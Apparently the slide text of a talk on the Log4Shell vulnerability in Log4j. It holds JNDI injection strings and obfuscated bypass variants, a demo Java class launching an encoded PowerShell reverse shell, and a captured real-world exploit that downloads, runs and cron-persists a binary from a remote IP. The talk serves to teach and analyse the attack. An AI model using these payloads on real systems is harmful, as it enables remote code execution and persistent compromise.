Open source logging framework for Java
Used in LOTS of Java applications
Log4J feature: Lookup at logging time
Java Lookup:
${java:version} â Java version 1.7.0_67
${jndi:ldap://example.com/file} â đŠī¸
${jndi:ldap://attacker.com/exploit}
Two (virtual) computers in the same network
public class Log4jRCE {
static {
try {
Runtime.getRuntime()
.exec("powershell.exe -exec bypass -enc IwBSAGEAcwB0AGEALQBtAG8AdQBzAGUAcwAgAEEAbQBzAGkALQBTAGMAYQBuAC0AQgB1AGYAZgBlAHIAIABwAGEAdABjAGgAIABcAG4ADQAKACQAaABjAHIAcABiACAAPQAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABoAGMAcgBwAGIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZQBlAHEAZgBxAGgALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAAJABoAGMAcgBwAGIADQAKAA0ACgAkAHkAYQB5AG8AaABkAHEAIAA9ACAAWwBoAGMAcgBwAGIAXQA6ADoATABvAGEAZABMAGkAYgByAGEAcgB5ACgAIgAkACgAWwBjAEgAQQBSAF0AKABbAGIAeQB0AEUAXQAwAHgANgAxACkAKwBbAGMASABhAHIAXQAoAFsAYgBZAFQARQBdADAAeAA2AGQAKQArAFsAYwBoAEEAcgBdACgAWwBCAFkAdABlAF0AMAB4ADcAMwApACsAWwBjAEgAYQBSAF0AKABbAEIAWQB0AGUAXQAwAHgANgA5ACkAKwBbAGMASABhAHIAXQAoADQANgApACsAWwBDAGgAYQBSAF0AKABbAGIAWQB0AGUAXQAwAHgANgA0ACkAKwBbAGMAaABBAFIAXQAoADEAMAA4ACsANgAwAC0ANgAwACkAKwBbAGMASABBAFIAXQAoAFsAYgB5AHQARQBdADAAeAA2AGMAKQApACIAKQANAAoAJABtAHcAagB6AGsAaAAgAD0AIABbAGgAYwByAHAAYgBdADoAOgBHAGUAdABQAHIAbwBjAEEAZABkAHIAZQBzAHMAKAAkAHkAYQB5AG8AaABkAHEALAAgACIAJAAoAFsAYwBoAEEAUgBdACgANgA1ACoANQA3AC8ANQA3ACkAKwBbAGMAaABBAHIAXQAoAFsAYgBZAHQARQBdADAAeAA2AGQAKQArAFsAQwBIAGEAUgBdACgAWwBCAFkAdABFAF0AMAB4ADcAMwApACsAWwBjAGgAYQByAF0AKABbAGIAeQB0AGUAXQAwAHgANgA5ACkAKwBbAGMASABBAHIAXQAoADgAMwApACsAWwBjAGgAYQByAF0AKABbAEIAeQBUAEUAXQAwAHgANgAzACkAKwBbAGMAaABBAFIAXQAoADkANwAqADkALwA5ACkAKwBbAEMAaABBAHIAXQAoAFsAQgBZAFQAZQBdADAAeAA2AGUAKQArAFsAYwBoAGEAcgBdACgAWwBiAHkAdABFAF0AMAB4ADQAMgApACsAWwBjAEgAQQByAF0AKAAxADEANwApACsAWwBDAEgAQQBSAF0AKAAzADUAKwA2ADcAKQArAFsAQwBoAGEAUgBdACgAMQAwADIAKwA0ADEALQA0ADEAKQArAFsAQwBoAGEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYANQApACsAWwBjAGgAYQBSAF0AKAAxACsAMQAxADMAKQApACIAKQANAAoAJABwACAAPQAgADAADQAKAFsAaABjAHIAcABiAF0AOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAbQB3AGoAegBrAGgALAAgAFsAdQBpAG4AdAAzADIAXQA1ACwAIAAwAHgANAAwACwAIABbAHIAZQBmAF0AJABwACkADQAKACQAdwBmAHAAegAgAD0AIAAiADAAeABCADgAIgANAAoAJABiAHYAbABmACAAPQAgACIAMAB4ADUANwAiAA0ACgAkAGgAZQBhAHAAIAA9ACAAIgAwAHgAMAAwACIADQAKACQAcgBxAHIAYwAgAD0AIAAiADAAeAAwADcAIgANAAoAJAB5AGcAbwBxACAAPQAgACIAMAB4ADgAMAAiAA0ACgAkAGIAeABkAHgAIAA9ACAAIgAwAHgAQwAzACIADQAKACQAaABsAGEAagBjACAAPQAgAFsAQgB5AHQAZQBbAF0AXQAgACgAJAB3AGYAcAB6ACwAJABiAHYAbABmACwAJABoAGUAYQBwACwAJAByAHEAcgBjACwAKwAkAHkAZwBvAHEALAArACQAYgB4AGQAeAApAA0ACgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBDAG8AcAB5ACgAJABoAGwAYQBqAGMALAAgADAALAAgACQAbQB3AGoAegBrAGgALAAgADYAKQANAAoADQAKACQAYwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAiADEAOQAyAC4AMQA2ADgALgAxADQAMQAuADEAMwAxACIALAA5ADgAOQA4ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")
.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
greynoise.io - With Log4J RCE Attempt filter
${jndi:ldap://attacker.com/exploit}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}}://attacker.com/exploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}}://attacker.com/exploit}
3 classes of tooling
git clone https://github.com/adilsoybali/Log4j-RCE-Scanner.git
cd Log4j-RCE-Scanner
chmod +x log4j-rce-scanner.sh
./log4j-rce-scanner.sh -h
Tries to inject ldap payloads in various headers and parameters
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
My đ¯ story
I found an interesting little project. I quickly installed it on a vps server
New connection from 195.154.52.77:36734
Received handshake: 754 2 143.244.178.253:25565
Testing text: FermatSleep
FermatSleep joined the server
Testing text: ${jndi:ldap://195.154.52.77:1389/a}
Fetching payload for: jndi:ldap://195.154.52.77:1389/a
Saved payload to file d014fd3d-e92b-4479-b568-50d8a40c89d0.class
public class Exploit {
public static String script;
public static String execCmd(final String s) {
String s2 = null;
final String[] cmdarray = { "/bin/sh", "-c", s };
try (final InputStream inputStream = Runtime.getRuntime().exec(cmdarray).getInputStream();
final Scanner useDelimiter = new Scanner(inputStream).useDelimiter("\\A")) {
s2 = (useDelimiter.hasNext() ? useDelimiter.next() : null);
}
catch (IOException ex) {
ex.printStackTrace();
}
return s2;
}
public Exploit() throws Exception {
execCmd(Exploit.script);
}
static {
Exploit.script = "url=http://195.154.52.77:8000/mc_server.jar;remote_ip=195.154.52.77;port=$(wget -O- http://$remote_ip:8000/port 2>/dev/null) ;[ $? -ne 0 ] && port=$(curl http://$remote_ip:8000/port 2>/dev/null) ;wget --no-check-certificate $url > /dev/null 2>&1 || curl -k -O $url > /dev/null 2>&1 ;chmod +x ./mc_server.jar;nohup ./mc_server.jar -b $port > /dev/null 2>&1 &cmd=\"$(pwd)/mc_server.jar -b $port\";(crontab -l ; echo \"@reboot $cmd\" ) | sort - | uniq - | crontab - ;echo done ;";
}
}
url=http://195.154.52.77:8000/mc_server.jar
remote_ip=195.154.52.77
port=$(wget -O- http://$remote_ip:8000/port 2>/dev/null)
[ $? -ne 0 ] && port=$(curl http://$remote_ip:8000/port 2>/dev/null)
wget --no-check-certificate $url > /dev/null 2>&1 || curl -k -O $url > /dev/null 2>&1
chmod +x ./mc_server.jar
nohup ./mc_server.jar -b $port > /dev/null 2>&1 &cmd="$(pwd)/mc_server.jar -b $port"
(crontab -l echo "@reboot $cmd" ) | sort - | uniq - | crontab -
echo done
Let's have a look at it
Seems to be some kind of reverse shell
Not a jar file, it's an executable
Binary was compiled from go
Password and ssh public key?
Servers got taken down around the 20.01.2022. No more attacks since.
https://github.com/nixrod/log4shell-presentation